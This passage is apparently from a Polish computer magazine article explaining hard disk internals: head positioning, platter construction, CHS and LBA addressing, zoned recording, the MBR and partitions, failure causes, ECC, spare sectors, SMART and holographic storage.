zanie takie jest do dziś stosowane w
napędach dyskietek). W miarę wzro-
stu wymagań szybkościowych stoso-
wano inne rozwiązania, spośród któ-
rych optymalnym jak na razie okaza-
ło się voice coil, czyli układ magneto-
dynamiczny, wzorowany na tym, ja-
ki stosuje się w głośnikach (stąd na-
zwa) – umieszczona w polu silnego
magnesu stałego cewka porusza się
zgodnie z przepływającym przez nią
prądem, ustawiając w odpowiedniej
pozycji związane z nią mechanicznie
ramię głowic dysku. Technika ta po-
zwoliła na zmniejszenie czasu pozy-
cjonowania głowic na zadanej ścieżce
z kilkudziesięciu do kilku milisekund,
a przy przejściach pomiędzy kolejny-
mi ścieżkami nawet poniżej jednej mi-
lisekundy.

Niektóre firmy stosują technolo-

gię Read on Arrival, wykorzystującą
mechanizm korekcji błędów – pierw-
sza próba odczytu podejmowana jest
jeszcze zanim głowica ustabilizuje się
nad żądaną ścieżką; albo próba się
powiedzie, albo skutecznie zadziała
mechanizm korekcji błędu odczytu, w
najgorszym przypadku trzeba będzie
ponowić odczyt – nic do stracenia, a
można zyskać cenne milisekundy.

Oscylacja ramienia

względem czasu

Zapis na dysku dokonywany jest w
formie koncentrycznych ścieżek,
podzielonych na sektory. Dość ta-
jemnicze pojęcie cylinder, wystę-
pujące w opisie parametrów dys-

Rysunek 3.

Zapisywane dane

NRZ

FM

MFM

RLL

Komórka bitowa

Dane zapisywane

0

1

1

1

1

0

1

1

0

0

0

background image

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

74

ku i nieznajdujące bezpośredniego
odbicia w jego konstrukcji, to gru-
pa ścieżek o tym samym numerze
na wszystkich powierzchniach ro-
boczych.

Talerze dysku

Współczesne dyski charakteryzują
się gęstością rzędu 10 gigabita na
cal kwadratowy. Przy tej gęstości na
jednym calu długości ścieżki mieści
się 240 tysięcy bitów, na jeden cal
promienia dysku przypada 21 tysię-
cy ścieżek, a jeden bit zajmuje po-
wierzchnię 1,2 na 0,1 mikrometra
(przekrój ludzkiego włosa zmieściłby
około 1000 bitów). Dzięki doskonale-
niu technologii GMR (Giant Magne-
toresistive Effect) naukowcy przewi-
dują osiągnięcie gęstości 20 Gb na
cal kwadratowy.

Schematyczny

obraz dysku twardego

Typowy dysk twardy składa się z kil-
ku talerzy o wymiarach 5 1/4 cala lub
3 1/2 cala jego wymiar nie jest jed-
nak równie ważnym czynnikiem jak
w przypadku stacji dysków elastycz-
nych. Talerze dysków twardych są
niewymienne, zaś instalacja dysku 3
1/2 calowego w miejscu konstrukcyj-
nie przewidzianym na dysk 5 1/2 calo-
wy jest łatwa. Każdy talerz zbudowa-
ny jest z metalu o grubości zwykle 1/8
cala, pokrytego substancją magne-
tyczną, tzw. media. Najpopularniej-
szymi substancjami magnetycznymi
są związki zawierające tlenek żela-
za. Warstwa magnetyczna tworzona
jest w procesie, w którym krążki alu-
minium zostają pokryte pastą zawie-
rającą cząstki tlenku żelaza.

Obracające się z dużą szybko-

ścią talerze powodują równomierne
rozłożenie tej substancji na dysku.
Powierzchnia jest następnie polero-
wana i pokrywana warstwą ochron-
ną. Ostatecznie osiąga grubość 30
milionowych części cala. Wraz ze
wzrostem gęstości zapisu powłoka
magnetyczna powinna być cieńsza
i lepszej jakości, większej trwałości,
niezawodności i niewielkim współ-
czynniku dziur magnetycznych no-
śnika, tzw. drop-outów. Cienki no-
śnik umożliwia mniejszą wysokość

zawieszenia głowicy, a tym samym
większą gęstość zapisu.

Dysk twardy firmy

Quantum

Tradycyjnie w komputerze PC AT
adresowanie dysku przez przerwa-
nie 13 BIOS-u (INT 13) odbywało się
za pomocą trzech parametrów: cy-
lindra, głowicy i sektora (tzw. adre-
sowanie CHS od słów Cylinder, He-
ad, Sector). Konwencjonalne funk-
cje INT 13 używały 24 bitów do re-
prezentacji adresów, zatem możliwe
było jedynie zaadresowanie obsza-
ru o pojemności 8,4 GB (224×512
bajtów/sektor=8,4 GB). W celu prze-
kroczenia tej granicznej wartości
producenci wprowadzili dwa now-
sze sposoby adresowania (stosowa-
ne właśnie w dzisiejszych dyskach)
adresowania. Pierwszy polegał na
rozszerzeniu reprezentacji adresu
w konwencji CHS do 32 bitów, dru-
gi – częściej stosowany – używał zu-
pełnie odmiennej metody noszącej
nazwę LBA. W metodzie LBA (Lo-
gical Block Addressing) stosowane
jest adresowanie 28-bitowe, co po-
zwala na zaadresowanie obszaru do
pojemności wynoszącej: 228×512
bajtów/sektor=137,4 GB. Ten wła-
śnie tryb adresowania jest zaleca-
ny i zaimplementowany w BIOS-ach
większości dzisiejszych pecetów.

Opis CHS (cylinder/head/sector)

sprawdzał się bardzo dobrze w cza-
sach, gdy całością procesu zapisu i
odczytu danych zarządzała jednost-
ka centralna przy współudziale dość
prymitywnego sterownika.

Nietrudno jednak zauważyć, że

całkowita długość pierwszej, najbar-
dziej zewnętrznej ścieżki jest znacz-
nie większa od długości ostatniej,
najbliższej osi talerza. Liniowa gę-
stość zapisu jest stała dla wszystkich
ścieżek (po prostu – maksymalna), a
przy stałej liczbie sektorów na każ-
dej kolejnej ścieżce (licząc od ostat-
niej do pierwszej) marnowałaby się
coraz większa ilość miejsca. Dlatego
już od dość dawna stosuje się tech-
nikę MZR (Multiple Zone Recording),
maksymalnie wykorzystującą dostęp-
ną powierzchnię talerzy. W początko-
wym okresie stosowania MZR prakty-

kowano technikę przeliczania geome-
trycznej lokalizacji danych na logicz-
ne parametry systemu CHS. Wyma-
gało to dość kłopotliwego, ręcznego
wprowadzania parametrów przelicze-
niowych konkretnych modeli dysków
do pamięci konfiguracji systemu (tzw.

Setup). Od problemu indywidualnych
parametrów dysków uwolniły nas do-
piero: z jednej strony rozwój interfej-
su ATA, dzięki, któremu system był w
stanie samodzielnie odczytać z dysku
i przyjąć do wiadomości przeliczenio-
we parametry, z drugiej zaś – wprowa-
dzenie do BIOS-u funkcji obsługi try-
bu LBA (Logical Block Addressing),
uniezależniającego adresowanie da-
nych na dysku od ich fizycznej loka-
lizacji na nim.

MZR – Multiple Zone

Recording – zapis

wielostrefowy

Nietrudno zauważyć, że w wyni-
ku podziału każdej ścieżki na stałą
liczbę sektorów, sektory znajdujące
się dalej od osi dysku będą znacz-
nie dłuższe (długość sektorów we-
wnętrznych jest ograniczona od do-
łu maksymalnym upakowaniem bi-
tów na jednostkę powierzchni). Aby
zapobiec ewidentnemu marnotraw-
stwu miejsca, podzielono dysk na kil-
ka stref o określonej liczbie sektorów
(od 60 do 120 sektorów na ścieżkę),
coraz większej dla stref bliższych ob-
wodowi dysku. Zysk jest oczywisty (o
około 25% większa pojemność i wy-
dajność), przy okazji wychodzi na
jaw drobne oszustwo: jak to się ma
do liczby sektorów na ścieżkę dekla-
rowanej w Setupie BIOS? BIOS mó-
wi swoje, a elektronika dysku po ci-
chu dokonuje przeliczeń. Mało te-
go, wewnątrz dysku dzieje się jesz-
cze coś, o czym ani użytkownik, ani
system operacyjny nie mają zielone-
go pojęcia. Chodzi mianowicie o sys-
tem obsługi błędów. Oczywiście, da-
ne zapisywane na dysku wyposażo-
ne są w dodatkowe informacje umoż-
liwiające funkcjonowanie systemu
korekcji w locie (ECC on the fly, ko-
dowanie Reed-Solomon itd). Oprócz
tego jednak, na każdej ścieżce zare-
zerwowana jest pewna liczba sek-
torów, które w przypadku pojawie-

background image

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

75

nia się fizycznych uszkodzeń nośni-
ka podstawiane są przez wewnętrz-
ny mikroprocesor napędu w miejsce
sektorów wadliwych – dzieje się to
całkowicie niezauważalnie dla świa-
ta zewnętrznego. Notabene, we-
wnętrzne układy mikroprocesoro-
we, w które wyposażone są współ-
czesne napędy, mają moc przetwa-
rzania porównywalną z co najmniej z
IBM PC/AT.

Obszary dysku

Aby komputer mógł wczytywać i uru-
chamiać system operacyjny, najważ-
niejsze informacje o strukturze da-
nych muszą się znajdować w ści-
śle zdefiniowanym miejscu na po-
wierzchni nośnika. W pierwszym
sektorze dysku (cylinder 0, głowica
0, sektor 1) zlokalizowany jest Ma-

ster Boot Record. BIOS kompute-
ra znajdzie tu program, który odpo-
wiedzialny jest za wczytanie sektora
startowego (bootsektora) z aktywnej
partycji dysku. Informacja, która par-
tycja jest aktywna, umieszczona jest
w tablicy partycji. Tablica ta znajduje
się podobnie jak MBR w pierwszym
sektorze dysku, który kończy się
właśnie na niej. Pozostały fragment
ścieżki 0 w cylindrze 0 jest pusty.
Można w nim umieścić BOOT-MA-
NAGERA (program wybierający, ja-
ki system operacyjny uruchomić). Tu
zagnieżdżają się również wirusy bo-
otsektora.

Partycja główna rozpoczyna się

w miejscu o współrzędnych: cylin-
der 0, głowica 1, sektor 1, a kończy
się zawsze w miejscu dowolnego cy-
lindra. Pierwszym sektorem party-
cji głównej jest sektor startowy. Od
drugiego sektora zaczyna się tablica
przydzieleń zbiorów, tuż za nią znaj-
duje się jej awaryjna kopia.

Partycja rozszerzona zaczyna się

zawsze na granicy cylindrów – np. z
początkiem cylindra X (

X>0

), przy

głowicy 0 i w sektorze 1. W odróżnie-
niu od partycji głównej, partycja roz-
szerzona nie posiada sektora starto-
wego, lecz zaczyna się od razu od
tablicy partycji, której pierwszy wpis
oznacza pierwszy napęd logiczny na
tej partycji. Drugi wpis odsyła z kolei
do partycji rozszerzonej, która stano-

wi kolejny napęd logiczny, i tak dalej,
aż zostaną po przydzielane wszyst-
kie napędy logiczne.

Dysk – awarie

Niezawodność współczesnych dys-
ków twardych wyraża się obecnie
średnim czasem międzyuszkodze-
niowym rzędu miliona godzin. Z po-
zoru wydaje się to bardzo wiele, ale,
gdy się bliżej przyjrzeć, bezpieczeń-
stwo danych na dysku twardym jest
co najmniej iluzoryczne. Milion go-
dzin to przeszło 114 lat. Współ-
czynnik MTBF (Mean Time Betwe-
en Failures) wynoszący milion go-
dzin oznacza nie tylko, że dysk po-
winien pracować bezawaryjnie przez
tyle czasu – w uproszczeniu oznacza
to, że spośród 1000 dysków w ciągu
bieżącego roku przeszło 8 ma pra-
wo ulec awarii! A jeśli nawet założy-
my, że dyski pracują zaledwie po 8
godzin dziennie, to i tak wśród tysią-
ca dysków musimy się liczyć z blisko
trzema awariami w ciągu roku.

Awarie dysku mają różny charak-

ter. Może to być uszkodzenie ukła-
dów zapisu i odczytu – w tym zło-
żonej elektroniki dysku, awaria ukła-
du napędowego czy układu pozycjo-
nowania głowic, a wreszcie, co jest
najczęściej spotykane, mechanicz-
ne uszkodzenie nośnika magnetycz-
nego na powierzchni któregoś z ta-
lerzy. Wszystkie dzieła ludzkiego ge-
niuszu mają ograniczoną niezawod-
ność. Zastanawia jednak fakt – w
jaki sposób powstają mechaniczne
uszkodzenia powierzchni dysku, je-
śli głowice nie dotykają bezpośred-
nio tych powierzchni?

Mimo relatywnie dużych rozmia-

rów, dyski twarde stanowią arcydzie-
ła mechaniki precyzyjnej. Przy typo-
wej gęstości zapisu, szerokość poje-
dynczej ścieżki zapisu wynosi zale-
dwie ok. 0,01 mm. Szerokość głowi-
cy odczytującej, wykonanej jako ele-
ment magnetorezystywny, wynosi
ok. 80% szerokości ścieżki – to od-
powiada ostrzu nieco tylko stępionej
żyletki! Każde dotknięcie powierzch-
ni dysku przez głowicę odpowiada
dotknięciu takim właśnie ostrzem.
Warstwa nośnika magnetycznego
na powierzchniach talerzy dysków

pokryta jest bardzo cienką warstwą
lakieru ochronnego. W normalnych
warunkach eksploatacji twardość
powierzchni ochronnej najzupełniej
wystarcza – start i lądowanie gło-
wic wiążą się co prawda z przesuwa-
niem ich po powierzchni talerza, ale
występujące naciski są za małe, by
zarysować powierzchnię ochronną.
Podczas pracy dysku głowice prze-
suwają się nad powierzchnią talerzy
na poduszce powietrznej o wysoko-
ści kilkunastu mikrometrów, wytwa-
rzanej dzięki ruchowi talerzy, a do-
puszczalne nierówności powierzchni
nie przekraczają 10% wysokości lo-
tu głowicy. W takich warunkach no-
śnik dysku nie ma prawa ulec uszko-
dzeniu.

Panuje powszechne przekona-

nie, że dysk, w czasie, gdy pracuje,
jest odporny na wstrząsy i uderzenia.
Tymczasem, co może być zaskaku-
jące, źródłem większości uszko-
dzeń powierzchni roboczych dys-
ku są właśnie wstrząsy i uderzenia,
których napęd doznał w stanie spo-
czynku. W stanie spoczynku głowice
leżą na wydzielonych obszarach po-
wierzchni talerzy, zwanych strefą lą-
dowania (landing zone), przyciśnię-
te do powierzchni przez odpowied-
ni układ sprężysty ramienia głowi-
cy. Cóż się stanie, jeśli taki zapar-
kowany dysk dozna silnego, krótko-
trwałego wstrząsu? Głowica ode-
rwie się od powierzchni, wyginając
sprężyste ramię, a następnie, w wy-
niku jego drgań, kilkakrotnie uderzy
w powierzchnię, za każdym razem
odbijając się od niej. Zwracam uwa-
gę na fakt, że głowica w takiej sytu-
acji nie uderza swoją powierzchnią,
ale krawędzią! Twarda powierzchnia
ochronna jest, niestety, zbyt krucha,
by mogła to przy silniejszych wstrzą-
sach wytrzymać – uderzająca gło-
wica odłupuje drobne fragmenty
ochronnego lakieru.

Wydawać by się mogło, że nawet

ewentualne uszkodzenie powierzchni
w strefie lądowania nie powinno spo-
wodować obniżenia sprawności dys-
ku – przecież w tym obszarze nie ma
żadnych danych. Rzeczywiście, ale
powstałe tam drobne okruchy ma-
teriału przemieszczają się, wraz z

background image

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

76

powietrzem, po całym wnętrzu na-
pędu. Są drobne, ale i tak wielokrot-
nie większe od grubości poduszki
powietrznej, unoszącej głowicę. Je-
śli któryś z nich dostanie się pomię-
dzy głowicę, a powierzchnię wirują-
cego talerza, następują kolejne drga-
nia głowicy i jej ramienia oraz kolejne
uderzenia głowicy – tym razem już w
roboczą powierzchnię dysku! Oprócz
uszkodzeń powierzchni, na tyle drob-
nych, że układy korekcji błędów wbu-
dowane w elektronikę dysku, poradzą
sobie z powodowanymi przez nie błę-
dami, powstają jeszcze nowe okruchy.
Im jest ich więcej, tym częściej zda-
rza im się wpadnięcie pod głowicę i
tym częściej powstają nowe uszko-
dzenia i nowe drobiny. Proces degra-
dacji wartości użytkowej dysku postę-
puje lawinowo, tym bardziej, że przy
uszkodzonej powierzchni strefy lądo-
wania przy każdym starcie i lądowa-
niu głowicy mogą powstawać kolejne
uszkodzenia.

Na jakiego rodzaju wstrzą-

sy narażony jest dysk od momen-
tu opuszczenia taśmy produkcyjnej,
do chwili, kiedy trafi do komputera?
Co mu grozi po drodze, a czym mo-
żemy mu zaszkodzić sami? Odpo-
wiedzi na te pytania może w pew-
nym stopniu dostarczyć zamiesz-
czony rysunek – wynika z niego, że
dysk zamontowany w komputerze
jest względnie bezpieczny, nawet
upuszczenie komputera na twarde
podłoże nie powinno spowodować
poważniejszych szkód.

Dużym zagrożeniem dla dys-

ku jest również sam proces monta-
żu komputera. W tej fazie łatwo na-
bawić się kłopotów na przyszłość. O
uderzenie metalowym narzędziem
wcale nietrudno – wystarczy ob-
sunięcie ręki, uderzenie dyskiem o
konstrukcję obudowy też może się
zdarzyć. A jeśli ktoś ma pecha, to
i o upadek dysku na twarde podłoże
wcale nietrudno. Wszystkie te gwał-
towne zdarzenia dysk znosi pozor-
nie bez szwanku – po zmontowaniu
komputera działa poprawnie i nic nie
wskazuje na to, by cokolwiek mu do-
legało.

Uszkodzenia, których źródłem

są wstrząsy, jakich doznał dysk w
czasie między wyprodukowaniem
a zamontowaniem w komputerze,
stanowią według danych producen-
tów przyczynę około 40% wszyst-
kich awarii dysków twardych i prze-
szło 90% uszkodzeń powierzch-
ni dysków. Lekarstwem na to stały
się pewne zmiany w konstrukcji dys-
ków, zmierzające do ograniczenia
tego typu uszkodzeń. Zmiany te w
większości przypadków sprowadza-
ją się do odpowiednich rozwiązań
konstrukcyjnych – najważniejsze
jest tu wyeliminowanie drgań gło-
wicy i jej wielokrotnego uderzania o
powierzchnię po wstrząsie. Tego ro-
dzaju rozwiązaniem jest, stosowany
przez firmę Quantum, SPS (Shock

Protection System). Również in-
ni producenci od pewnego czasu
zwracają uwagę na bezpieczeń-
stwo dysku w czasie między opusz-
czeniem taśmy produkcyjnej a zain-
stalowaniem w komputerze, stosu-
jąc własne rozwiązania, jak np. Se-

aShield Seagate.

Obecnie stosuje się narzędzia,

które sprawdzają stan dysku. Waż-
ną ich cechą jest zdolność do wyko-
rzystywania w celach diagnostycz-
nych specjalnych procedur, wbudo-
wanych w oprogramowanie napę-
dów. Przy bardzo skutecznych me-
chanizmach korekcji błędów, jakie
są stosowane w układach odczy-
tu, drobniejsze uszkodzenia pozo-
stawałyby niezauważone – dopiero
uszkodzenie uniemożliwiające po-
prawny odczyt mogłoby zostać za-

rejestrowane. Należy zwrócić uwa-
gę na fakt, że eliminowanie wadli-
wych sektorów nie usuwa przyczyn
ich uszkodzenia – jeśli wewnątrz
obudowy znalazły się luźne okru-
chy z uszkodzonych powierzchni, to
proces niszczenia będzie postępo-
wał. Dlatego większość wspomnia-
nych systemów stosuje statystycz-
ną ocenę liczby wykrytych mikrode-
fektów, umożliwiającą, przy regular-
nym stosowaniu programu testują-
cego, dość efektywną ocenę aktual-
nego stanu dysku i jego perspektyw
na przyszłość.

Samonaprawiające się

dyski

Każda usterka sprzętu, którego uży-
wamy, wywołuje u nas marzenia o
urządzeniach, które powiadamiały-
by nas o tym, że wystąpiła awaria,
a jeszcze lepiej – same się napra-
wiały. Nawet nie wiemy, że to już nie
marzenia, ale rzeczywistość, przy-
najmniej jeżeli chodzi o dyski twar-
de. Najnowsze osiągnięcia w dzie-
dzinie technologii dysków twardych
sprawiają, że napędy dyskowe uzy-
skują zdolność nie tylko do monitoro-
wania własnej sprawności, lecz tak-
że samonaprawiania się w przypad-
ku typowych usterek.

Algorytm ECC

W dysku twardym dane cyfrowe są
zapisywane na talerzu magnetycz-
nym, a potem odczytywane, zasad-
niczo w postaci analogowej. Podob-
nie jak przy każdym nośniku analo-
gowym, danym zapisanym na dysku
towarzyszą szumy tła, a sam nośnik
jest podatny na uszkodzenia fizycz-
ne. Rozpoznanie faktu, że dane zo-
stały uszkodzone oraz podjęcie ja-
kichkolwiek działań naprawczych
jest możliwe dzięki temu, że z zasa-
dy do zapisywanej informacji doda-
je się pewną informację dodatkową,
która jest uzależniona od zawartości
informacji oryginalnej.

W dyskach twardych stosuje się

zaawansowane metody obliczania i
kodowania sum kontrolnych, okre-
ślane jako ECC (Error Correcting

Codes – kody korygujące błędy).
Chociaż teoria z tym związana jest

Rysunek 4.

Kluczowe obszary

dysku

MBR

Boot sektor pierwszej partycji

Partycja pierwsza

Boot sektor drugiej partycji

Partycja druga

background image

Dyski Twarde

ogromnie skomplikowana, w prakty-
ce wyznaczenie kodu korekcyjnego
dla danych można w miarę prosto
zrealizować za pomocą sprzętu lub
oprogramowania. Dzięki dobremu
algorytmowi ECC możliwe jest nie
tylko wykrywanie błędów, lecz tak-
że odtworzenie uszkodzonej infor-
macji. Obliczanie kodu korekcyjne-
go wchodzi w skład procesu odzy-
skiwania danych, w którym ponad-
to stosuje się takie techniki, jak wie-
lokrotny odczyt przy kolejnych obro-
tach talerza z drobnymi zmianami
parametrów odczytu, co daje róż-
ne kąty widzenia uszkodzonych da-
nych. Wszystkie te sztuczki pozwa-
lają na odczytanie danych z sekto-
ra, który nie nadaje się do dalsze-
go użytku.

Sektory na zapas

Dyski twarde zawierają pewną licz-
bę zapasowych sektorów, które nie
są bezpośrednio dostępne dla użyt-
kownika, lecz służą do zastępowa-
nia wadliwych sektorów wykrytych
na dysku. Gdy jeden z zapasowych
sektorów zostanie zablokowany w
zastępstwie sektora uszkodzone-
go, z punktu widzenia użytkownika
dysku wygląda to tak, jakby uszko-
dzenie zostało naprawione. Jeżeli

wszystkie uszkodzone sektory są
odwzorowywane na dobrych sekto-
rach zapasowych, to dysk z punktu
widzenia użytkownika jest całkowi-
cie sprawny. Alokacja zapasowych
sektorów może odbywać się z wy-
przedzeniem, w miarę zużywania
się dysku.

Metoda ta polega na tym, że

podczas odczytu bloku danych układ
elektroniczny, odpowiedzialny za
ECC, dokonuje inteligentnej analizy
jakości sektora. W niektórych przy-
padkach dane zostają zapisane nie-
prawidłowo – na przykład wskutek
mechanicznego wstrząsu napędu
podczas zapisu – i wówczas całko-
wita naprawa sprowadza się jedynie
do ponownego zapisu tych samych
danych. Jeżeli jednak analiza po-
dejrzanego sektora wykazuje, że nie
zapewnia on należytej niezawodno-
ści, wówczas układ sterowania na-
pędu może podjąć decyzję wykorzy-
stania sektora zapasowego i zapisa-
nia w nim odzyskanych danych.

SMART – przewidzieć

awarię dysku

SMART oznacza Self Monitoring

And Reporting Technology (techno-
logia samoczynnego monitorowania
i powiadamiania). Jest to uporząd-

kowana metoda wykonywania przez
napęd dyskowy analiz statystycz-
nych własnego funkcjonowania, do-
konywania na tej podstawie inteli-
gentnych przewidywań co do zbliża-
jących się awarii oraz powiadamia-
nia o tym użytkownika.

Rysunek 5.

Uderzenia głowicy o

nośnik

Uderzenie głowicy o nośnik

"Podskok" głowicy ...

... i co z tego wynikło!

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

78

SMART wykorzystuje nadmiaro-

wą moc obliczeniową procesora na-
pędu dyskowego i prowadzi analizę
rozmaitych parametrów operacyj-
nych, takich jak stopa błędów, licz-
ba powtórzeń, częstość realokacji
uszkodzonych sektorów, cykle startu
– stopu itd. Informacja ta jest zbiera-
na i poddawana obróbce statystycz-
nej na podstawie znanych charakte-
rystyk operacyjnych sprawnego dys-
ku. W ten sposób uzyskuje się możli-
wość ostrzeżenia z wyprzedzeniem,
że zbliża się awaria dysku.

Chociaż obecnie nie ma sposo-

bu, by technologia SMART pozwo-
liła przewidzieć nagłą awarię do-
tychczas zupełnie sprawnego dysku,
to jednak zapewnia ona skuteczne
ostrzeganie o zbliżającej się awarii w
około 30 do 40 procentach przypad-
ków. Aby można było skorzystać z
technologii SMART, w systemie mu-
si zostać zainstalowany odpowiedni
agent (program obsługi).

Odzyskiwanie danych w nowocze-

snych napędach dyskowych jest bar-
dzo sprawne – napęd zasygnalizuje
błąd odczytu dopiero po wyczerpaniu
daleko idących środków zaradczych.
Możliwość alokacji zapasowych, do-
brych sektorów na miejsce uszkodzo-
nych oznacza, że usterki – które w in-
nym wypadku byłyby klasyfikowane
jako awarie dysku – mogą być aktyw-
nie kontrolowane, dzięki czemu wy-
dłuża się użyteczny czas eksploatacji
urządzenia. SMART zapewnia pro-
gnozowanie możliwych awarii dysku,
dzięki czemu dane z dysku o pogar-
szającej się jakości mogą być zapisa-
ne w kopii zapasowej, a dysk wymie-
niony, zanim dojdzie do katastrofalnej
utraty danych.

Wszystkie te mechanizmy opie-

rają się jednak na zdolności napędu
do właściwego reagowania na uster-
ki przez korekcję błędów, realokację
sektorów oraz analizę i rejestrowanie
wyników. Działania takie mogą doty-
czyć tylko tych części dysku, które
są użytkowane, a wskutek tego stan
znacznej części powierzchni dysku
może przez długi czas być nieznany,
a wtedy błędy skądinąd możliwe do
naprawienia stopniowo stają się co-
raz poważniejsze, zaś analizy staty-

styczne prowadzone przez SMART
zostają zafałszowane.

Nowoczesna

technologia

Ciągle jeszcze w każdym kompute-
rze PC znaleźć można stację dys-
kietek. Ich zawrotna jak na dzisiej-
sze czasy pojemność (1,44 MB) jest
już prawie całkowicie niewystarcza-
jąca. Mimo że producenci zasypu-
ją użytkowników coraz to nowszy-
mi rozwiązaniami, to ciągle jesteśmy
skazani na używanie owego reliktu
przeszłości jakim jest poczciwa sta-
cja dyskietek.

Wydawałoby się, że rozwiąza-

niem tych kłopotów są dyski twarde.
Lecz prawda przedstawia się zgoła
odmiennie. Producenci już dzisiaj nie-
bezpiecznie szybko zbliżają się do fi-
zycznej granicy pojemności. W miarę
jej wzrostu przy niezmiennej w zasa-
dzie powierzchni zapisu maleje trwa-
łość zapisu magnetycznego. Powodu-
je to, że wyprodukowanie trwałego, i
co ważniejsze, pojemnego nośnika
danych staje się coraz droższe.

Sposób dziania pamięci

holograficznej

Uzyskanie olbrzymiej pojemności
wymaga zastosowania zupełnie in-
nej techniki – holografii. Pomysł ten
zrodził się już w roku 1963, gdy je-
den z pracowników firmy Polaro-
id – Pieter J. van Heerden zapropo-
nował trójwymiarowy zapis danych.
W chwili obecnej żadna z technolo-
gii oferujących pojemności rzędu se-
tek GB i czas dostępu do dowolnego
obszaru w granicach 100 (mikro)se-
kund nie jest tak bliska wejścia na ry-
nek, jak właśnie holografia.

Najistotniejszymi

elementami

układu zapisująco/odczytującego są
dwie wiązki laserowe padające na
nośnik pamięciowy, jakim jest krysz-
tał niobianu litu (domieszkowany ato-
mami żelaza). Jedna z nich – węż-
sza – to tzw. wiązka sygnałowa. Za-
wiera ona dane, jakie mają być za-
chowane w krysztale. Wiązka druga
– zwana referencyjną odpowiada za
miejsce w krysztale, w którym dane
przesyłane wiązką sygnałową mają
być zachowane.

Warto wiedzieć, że w tego ty-

pu pamięciach nie istnieje pojęcie
ścieżki danych. Pamięci hologra-
ficzne operują całymi stronami da-
nych. Można sobie wyobrazić, że ta-
ki kryształek pokroimy na plasterki o
grubości rzędu 100 (mikro)metrów
każdy. Taki plasterek to właśnie stro-
na danych przesyłanych przez wiąz-
kę sygnałową. Zapis stronicowy da-
je olbrzymią korzyść – dużo szyb-
szy czas dostępu do danych, któ-
re są odczytywane analogicznie do
zapisu (całymi stronami) dzięki od-
powiedniemu pozycjonowaniu wiąz-
ki referencyjnej.

Nośniki holograficzne

Najpopularniejszym, a raczej naj-
powszechniej stosowanym w labora-
toriach nośnikiem danych był wspo-
mniany już kryształ niobianu litu. Nie
jest to jednak jedyna możliwa sub-
stancja pozwalająca na holograficz-
ny zapis i odczyt danych. W 1994 fir-
ma DuPont wypuściła na rynek fo-
topolimer o obiecujących możliwo-
ściach. Najważniejszą innowacją, ja-
ką wnosił nowy materiał był fakt, że
ów fotopolimer pod wpływem świa-
tła nie ulegał zmianom fotorefrak-
cyjnym (co ma miejsce w przypad-
ku wzmiankowanego już kryształu)
lecz przemianie chemicznej. Różni-
ca polega na tym, że w przypadku
fotorefrakcji, w krysztale dane są za-
pisywane poprzez odpowiednie roz-
dzielenie ładunków elektrycznych w
strukturze kryształu, daje to możli-
wość ich późniejszej neutralizacji (co
oznacza skasowanie zapisu). Nato-
miast naświetlanie (zapis danych)
fotopolimeru wywoływało nieod-
wracalną reakcję fotochemiczną, co
oznacza, że materiał ten nadaje się
wyłącznie do tworzenia pamięci sta-
łych (ROM).

Olbrzymie pojemności

Warto zapoznać się też z niektóry-
mi wynikami osiągniętymi przez na-
ukowców w dziedzinie pamięci ho-
lograficznych. Np. w 1995 roku nie-
jaki Pu z California Institute of Tech-
nology uzyskał gęstość zapisu 10 bi-
tów na 1 (mikro)m^2(kwadratowy)
dla dysku o powierzchni zwykłego

background image

krążka CD, lecz o grubości zaledwie 100 (mikro)m. Jeże-
li zwiększy się grubość materiału holograficznego np. do
ok. 1 mm, to gęstość zapisu powinna osiągnąć wartość
100 bitów/mikrometr kwadratowy. Taki dysk holograficz-
ny byłby identyczny rozmiarami z dzisiejszymi CD, lecz
oferowałby pojemność rzędu 65 GB.

Kolejnym, nie mniej spektakularnym, osiągnięciem

są rezultaty prac naukowców wydziału fizyki University
of Oregon. Udało im się zaobserwować w krysztale o na-
zwie Tm^3+:YAG następujące wyniki: podczas zapisywa-
nia 1760-bitowej sekwencji z szybkością 20 Mbit/s osią-
gnięto gęstość około 8 Gbit/cal kwadratowy zaś transfer
danych z zapisanego już nośnika określono na poziomie
1 Gbit/s. Tak olbrzymie wartości osiągnięto jednak w da-
lekich od domowych warunkach (niskie temperatury, spe-
cjalne soczewki itp.)

Zastosowania

Firma Holoplex skonstruowała szybki układ pamięcio-
wy przechowujący wzory linii papilarnych, stosowany we
wszelkiego rodzaju systemach wymagających selektyw-
nego dostępu. Co prawda pojemność tego układu jest
mniejsza o połowę od zwykłej płyty CD, lecz całą pa-
mięć można odczytać w ciągu jednej sekundy. Warto też
wiedzieć, że użycie układów holograficznych pozwoli na
szersze wykorzystanie kojarzeniowej natury zapisu holo-
graficznego. Czy będziemy więc świadkami rewolucji na
wielką skalę? Raczej nie – z przyczyn ekonomicznych,
lecz bez względu na sytuację można się pocieszyć tym,
że pamięci nie zginą, ich przyszłość to holografia.

Podsumowanie

Przeglądając oferty lub informacje dystrybutorów i pro-
ducentów dysków twardych niejednokrotnie dokonuje-
my wyboru na podstawie parametrów, jakie przedsta-
wia dana specyfikacja. Tymczasem w przypadku pojem-
ności informacja podawana na ulotce nie do końca musi
odpowiadać temu, co zobaczymy po sformatowaniu dys-
ku w naszym komputerze. Po pierwsze, dość często spo-
tykanym wybiegiem marketingowym jest podawanie po-
jemności danego dysku w mega- lub w gigabajtach, z za-
strzeżeniem, że 1 MB to 1 000 000 bajtów, a 1 GB to 1
000 000 000 bajtów. Tymczasem stan faktyczny jest inny
– 1 kB równy jest 1024 bajtom, a nie 1000 bajtom. Różni-
ca nie jest co prawda wielka, ale przy olbrzymich pojem-
nościach dzisiejszych dysków te zaokrąglenia powodują,
że różnica pomiędzy informacją producenta a wynikiem
formatowania dysku w komputerze może okazać się za-
skakująca dla nieświadomego takiej polityki użytkownika.
Przykładowo dla dysku o pojemności (przy przeliczniku
1 kB=1000 B) 18 042 MB otrzymamy, że dysk dysponu-
je faktyczną pojemnością ok. 17206,20 MB. Jak więc wi-
dać różnica sięga ponad 800 MB, co jeszcze nie tak daw-
no stanowiło całkowitą pojemność dysku twardego! Dla-
tego też dokonując wyboru musimy pamiętać o tym, w ja-
ki sposób megabajty czy gigabajty są podawane w infor-
macjach producenta. l

background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

